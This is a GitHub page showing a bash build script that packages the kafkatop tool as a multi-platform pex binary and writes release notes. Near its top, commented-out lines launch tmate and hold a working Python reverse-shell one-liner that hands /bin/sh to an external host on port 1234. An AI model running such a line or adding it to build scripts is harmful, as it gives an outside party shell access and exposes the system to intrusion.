-
Notifications
You must be signed in to change notification settings - Fork 0
/
make-pex-mp.sh
executable file
·101 lines (84 loc) · 3.53 KB
/
make-pex-mp.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/bin/bash
# sivann 2023
# Helps create multiplatform-pex
#export TERM=vt100
#sudo apt-get -y install tmate
#tmate
#exit
#export RHOST="mute.netmode.ece.ntua.gr";export RPORT=1234;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
#exit
PYTHON_MINVER="3.9"
commit_hash=$(git rev-parse --short HEAD)
git_desc=$(git describe --tags)
echo "Starting $0 on $(pwd), git tag: $git_desc"
sed -i "s/^VERSION=.*/VERSION='${git_desc}'/" kafkatop.py
echo "Gathering python platform info using python:"
python3 --version
rm -fr venv
python3 -m venv venv
. venv/bin/activate
if [[ -z "$VIRTUAL_ENV" ]] ; then
echo "not running in virtualenv, exiting"
exit 1
fi
# Create a venv from the 1st python in the path to get started with pex and detect platforms
python3 -m pip install --upgrade pip
pip install pex
echo "Make sure all required python3's are in path"
echo ""
echo "*** Creating pex with for following platforms:"
pex3 interpreter inspect --interpreter-constraint "CPython>=${PYTHON_MINVER}" --verbose --indent 4 > pexinspect.json
cat pexinspect.json | jq -r .platform
# Iterate over platforms:
deactivate
# Iterate over python platforms and fetch dependencies in a wheel format under wh/ for each platform
rm -fr venv-* wh-*
mkdir wh
echo ""
echo "*** Gathering platform requirements."
cat pexinspect.json | jq -c '.' |while read x;
do
cppath=$(echo "$x" | jq -r .path)
cpversion=$(echo "$x" | jq -r .version)
platform=$(echo "$x" | jq -r .platform)
echo ""
echo "*******************************"
echo "*** Gathering platform requirements for python: $cpversion, platform: $platform, interpreter: $cppath"
echo "*******************************"
$cppath -m venv venv-${cpversion}
. venv-${cpversion}/bin/activate
python3 -m pip install --upgrade pip
pip install pex
pip wheel -r requirements.txt --wheel-dir wh # -${cpversion} # can be shared among verions
deactivate
echo $platform >> platforms.tmp
done
# Now create the multiplatform binary pex using the downloaded wheel files (under wh/)
pexfn="kafkatop-${git_desc}-$(uname -m).pex"
#pexfn="kafkatop-$(uname -m).pex"
rm -f "$pexfn"
platforms_args=$(cat pexinspect.json | jq .platform | sed -e 's/^/--platform /' | tr '\n' ' ')
echo ""
rm -f makepex.*
echo '. venv/bin/activate' > makepex.$$
echo "pex . --disable-cache -o $pexfn -c kafkatop.py"' --python-shebang "#!/usr/bin/env python3" -f wh --resolve-local-platforms' $platforms_args >> makepex.$$
chmod +x makepex.$$
echo "*** Now running the following to create the multi-platform pex: ./makepex.$$"
cat makepex.$$
./makepex.$$
if [[ ! -f "$pexfn" ]] ; then
ls -lrt
echo "$pexfn not found, exiting"
exit 1
fi
# Now kafkatop has been created, create release and release notes for GitHub (releasebody.md)
arch=$(uname -m)
echo "Created $pexfn"
cp -f "$pexfn" kafkatop
tar zcf kafkatop-release.tar.gz kafkatop
cp -a kafkatop-release.tar.gz kafkatop-release-${git_desc}.tar.gz
ls -lrth #$pexfn
echo -e "Kafkatop version ${git_desc}\n" > releasebody.md
echo -e "\n\n" >> releasebody.md
echo -e "\n\nThis is a multi-platform binary release (pex), that can run in any **x86_64** linux distribution with a compatible Python version.\n\n**How to run**: download the zip file, extract kafkatop and run it. \n\n**Requires** one of the following Python versions in your path:\n" >> releasebody.md
cat pexinspect.json | jq -r .version | cut -d. -f1,2 | sort -uV | sed 's/^/\- /' >> releasebody.md